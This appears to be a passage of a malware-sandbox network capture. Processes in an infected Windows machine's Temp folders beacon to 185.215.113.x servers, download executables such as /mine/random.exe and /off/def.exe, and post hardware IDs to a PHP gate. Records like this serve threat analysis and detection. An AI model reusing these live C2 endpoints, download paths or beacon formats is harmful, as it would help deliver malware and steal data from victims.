Oct 31, 2024 20:52:33.512821913 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 19:52:33 GMT Content-Type: application/octet-stream Content-Length: 2822144 Last-Modified: Thu, 31 Oct 2024 19:14:55 GMT Connection: keep-alive ETag: "6723d72f-2b1000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 80 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 2b 00 00 04 00 00 80 36 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$+ `@ +6+`Ui` @ @.rsrc`2@.idata 8@gwksigml*:@xtwnmccs `+@.taggant@+"*@
Oct 31, 2024 20:52:33.512866974 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 20:52:33.512877941 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 20:52:33.512912035 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 20:52:33.512923002 CET	848	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 20:52:33.512964010 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 20:52:33.513042927 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 20:52:33.513053894 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: kWJVMFLRN\U.CW]
Oct 31, 2024 20:52:33.513084888 CET	1236	IN	Data Raw: 78 61 ba 26 f4 35 c4 d3 f0 a2 7a 9b ab 8e ba c8 b7 b9 96 6d 0f a8 a5 db c9 7c 42 96 48 b9 8d 66 c8 a8 af f2 c9 42 d2 20 ce de 40 ed 87 7c b8 9b 0d f3 fa 90 cf 65 33 61 77 85 b1 5f cf 59 bc 08 0b ab 3d 5a 4c 13 68 54 05 b9 d7 d3 98 b9 3d 39 ce d2 Data Ascii: xa&5zm\|BHfB @\|e3aw_Y=ZLhT=9@S0tIY68t^[T$<u[DbL$SCwV^{RJS0GHgF~NnM^ej"#lJWu{>)J$MFRY%qPzxAZH
Oct 31, 2024 20:52:33.513097048 CET	1236	IN	Data Raw: c1 11 d1 f7 6f 07 d6 20 69 1c cc 8d c6 ff d4 f4 57 6e 89 02 89 1d f0 f0 52 19 5d 53 ce 7f d5 fa 54 20 c7 fc 53 7d e1 93 db 12 6d 2c a2 6c 5a f3 5e 15 03 32 59 68 b9 2a 8b 38 ef f4 69 06 f4 f9 53 16 cd d0 b6 7e 6a 22 f7 1c b2 f7 57 61 43 f3 64 b5 Data Ascii: o iWnR]ST S}m,lZ^2Yh*8iS~j"WaCde:a`V<@MyT&o70>g;+U0zjI.h4I.S0p#\V";\dbO]9pT{LuAH{bhpY
Oct 31, 2024 20:52:33.517926931 CET	1236	IN	Data Raw: 24 25 e3 21 81 d6 a7 56 a0 b8 7f 80 50 ca 74 57 92 f6 bc 3b 90 09 37 93 2c 7a 57 1d 75 72 f4 8d 8c 88 df 10 b9 ba 34 24 30 a6 62 55 9b 45 ae 10 d1 1c 67 76 87 4e fc 03 5c ec b9 87 8c 27 34 c4 4d ac a7 45 a4 69 94 7c 2e ab 21 5c f9 6e b4 07 a7 7e Data Ascii: $%!VPtW;7,zWur4$0bUEgvN\'4MEi\|.!\n~HR<vJpxJj0JlZPUI?UL)U8D'{?&-kqSDWC[@#j pZn;UKMQLMeWTG4?KU
Oct 31, 2024 20:52:45.602927923 CET	204	OUT	GET /mine/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 31, 2024 20:52:45.887010098 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 19:52:45 GMT Content-Type: application/octet-stream Content-Length: 1886208 Last-Modified: Thu, 31 Oct 2024 19:30:05 GMT Connection: keep-alive ETag: "6723dabd-1cc800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 e0 4a 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVfJ@K2@WkDJtJ @.rsrcD@.idata @ p*@whlejstb 1@gsptuyynJ@.taggant0J"@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49770	185.215.113.206	80	7644	C:\Users\user\AppData\Local\Temp\1002978001\num.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 20:52:34.441414118 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Oct 31, 2024 20:52:35.343776941 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 19:52:35 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 31, 2024 20:52:35.351521015 CET	413	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DHIJDHIDBGHJKECBFIID Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 48 49 4a 44 48 49 44 42 47 48 4a 4b 45 43 42 46 49 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 45 34 46 32 46 42 33 39 30 36 30 33 38 31 30 32 38 39 34 34 38 0d 0a 2d 2d 2d 2d 2d 2d 44 48 49 4a 44 48 49 44 42 47 48 4a 4b 45 43 42 46 49 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 44 48 49 4a 44 48 49 44 42 47 48 4a 4b 45 43 42 46 49 49 44 2d 2d 0d 0a Data Ascii: ------DHIJDHIDBGHJKECBFIIDContent-Disposition: form-data; name="hwid"3E4F2FB390603810289448------DHIJDHIDBGHJKECBFIIDContent-Disposition: form-data; name="build"tale------DHIJDHIDBGHJKECBFIID--
Oct 31, 2024 20:52:35.656784058 CET	210	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 19:52:35 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49772	185.215.113.43	80	1748	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 20:52:36.275719881 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 32 39 37 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002978001&unit=246122658369
Oct 31, 2024 20:52:37.197695017 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 19:52:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49773	185.215.113.16	80	1748	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 20:52:37.211613894 CET	140	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16 If-Modified-Since: Thu, 31 Oct 2024 19:29:58 GMT If-None-Match: "6723dab6-208800"
Oct 31, 2024 20:52:38.153891087 CET	192	IN	HTTP/1.1 304 Not Modified Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 19:52:38 GMT Last-Modified: Thu, 31 Oct 2024 19:29:58 GMT Connection: keep-alive ETag: "6723dab6-208800"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49776	185.215.113.43	80	1748	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 20:52:40.612272978 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 32 39 37 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002979001&unit=246122658369
Oct 31, 2024 20:52:41.545193911 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 19:52:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49778	34.107.221.82	80	7880	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 20:52:42.093029976 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 31, 2024 20:52:42.720474958 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 31 Oct 2024 09:05:59 GMT Age: 38803 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 31, 2024 20:52:52.912184000 CET	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49781	185.215.113.206	80	7672	C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 20:52:43.141473055 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Oct 31, 2024 20:52:44.463691950 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 19:52:44 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 31, 2024 20:52:44.467396021 CET	413	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HCFBKKEBKEBGIDHIEHCF Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 43 46 42 4b 4b 45 42 4b 45 42 47 49 44 48 49 45 48 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 45 34 46 32 46 42 33 39 30 36 30 33 38 31 30 32 38 39 34 34 38 0d 0a 2d 2d 2d 2d 2d 2d 48 43 46 42 4b 4b 45 42 4b 45 42 47 49 44 48 49 45 48 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 48 43 46 42 4b 4b 45 42 4b 45 42 47 49 44 48 49 45 48 43 46 2d 2d 0d 0a Data Ascii: ------HCFBKKEBKEBGIDHIEHCFContent-Disposition: form-data; name="hwid"3E4F2FB390603810289448------HCFBKKEBKEBGIDHIEHCFContent-Disposition: form-data; name="build"tale------HCFBKKEBKEBGIDHIEHCF--
Oct 31, 2024 20:52:44.769263029 CET	210	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 19:52:44 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49782	185.215.113.43	80	1748	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 20:52:43.373116970 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 31, 2024 20:52:44.440804005 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 19:52:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49784	185.215.113.16	80	7336	C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 20:52:44.973460913 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 31, 2024 20:52:45.924984932 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 19:52:45 GMT Content-Type: application/octet-stream Content-Length: 2822144 Last-Modified: Thu, 31 Oct 2024 19:14:55 GMT Connection: keep-alive ETag: "6723d72f-2b1000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 80 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 2b 00 00 04 00 00 80 36 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$+ `@ +6+`Ui` @ @.rsrc`2@.idata 8@gwksigml*:@xtwnmccs `+@.taggant@+"*@
Oct 31, 2024 20:52:45.925009966 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 20:52:45.925021887 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 20:52:45.925033092 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 20:52:45.925044060 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 20:52:45.925059080 CET	560	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 20:52:45.925091028 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 20:52:45.925102949 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 20:52:45.925113916 CET	1236	IN	Data Raw: ba 49 74 23 3a 65 b9 04 c1 0a 86 5e 85 66 ba 11 2a e0 be 5a c0 76 a8 8c 99 ba ab 27 71 a5 46 f5 c4 43 15 ed 89 1d b2 3e b4 b0 a4 62 c6 ad b8 90 e0 1e b1 f9 3f b4 bd 4e 45 b2 47 d3 a2 9e fc 26 ae 58 b9 89 89 78 d3 20 69 49 8b 4d c0 28 ad 51 cd bd Data Ascii: It#:e^fZv'qFC>b?NEG&Xx iIM(Q"@GT]ZwoTMRT\|AvAGGSktY^l\O^W#\gBV=6!\)FWdRA]"R1>gRoi:BO]xTRtj
Oct 31, 2024 20:52:45.925124884 CET	1236	IN	Data Raw: 82 57 29 b2 ed b1 9b 13 a8 aa a1 11 92 71 f4 34 73 3a 2c 32 52 5a 80 c0 93 54 f0 ee 60 d9 38 b8 1a 71 f5 02 25 59 a1 a3 a0 58 c1 79 05 24 ab f0 8c c8 b5 12 79 90 86 6a b6 6e aa 98 94 f1 f7 cc e5 65 fe 27 07 76 f5 95 8b 01 75 73 d0 f9 f0 1e 1c 76 Data Ascii: W)q4s:,2RZT`8q%YXy$yjne'vusv=0#N$)zG~}ZKW];w"Zv>*iB3yneR;v$"b--q,`K2{;Wp,oufL4el8\|~\|6YNhEc
Oct 31, 2024 20:52:45.929991007 CET	1236	IN	Data Raw: 98 15 87 80 cb a6 64 a0 8d 25 fb f7 45 13 0e b5 66 69 d0 31 44 44 e2 f4 a1 0b 9b 07 a0 7e 74 fa 97 66 3f 7d de 27 ec e5 bd 55 b0 e7 22 cf a4 fd 42 12 23 48 70 72 f4 bc 4c 1f bb f1 2c 32 9f 57 90 02 6f 18 34 41 d8 d4 fd 54 fe dd 32 8f c7 35 84 29 Data Ascii: d%Efi1DD~tf?}'U"B#HprL,2Wo4AT25)D^FlZoYU("(Er14Q&xHiMu`qZVmsd>v_tmb};3?xT~M4-wt'@nm(yZ5@"4som1UYTpI a7GWTr
Oct 31, 2024 20:52:52.839751959 CET	204	OUT	GET /mine/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 31, 2024 20:52:53.136137962 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 19:52:52 GMT Content-Type: application/octet-stream Content-Length: 1886208 Last-Modified: Thu, 31 Oct 2024 19:30:05 GMT Connection: keep-alive ETag: "6723dabd-1cc800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 e0 4a 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVfJ@K2@WkDJtJ @.rsrcD@.idata @ p*@whlejstb 1@gsptuyynJ@.taggant0J"@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49785	185.215.113.43	80	1748	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
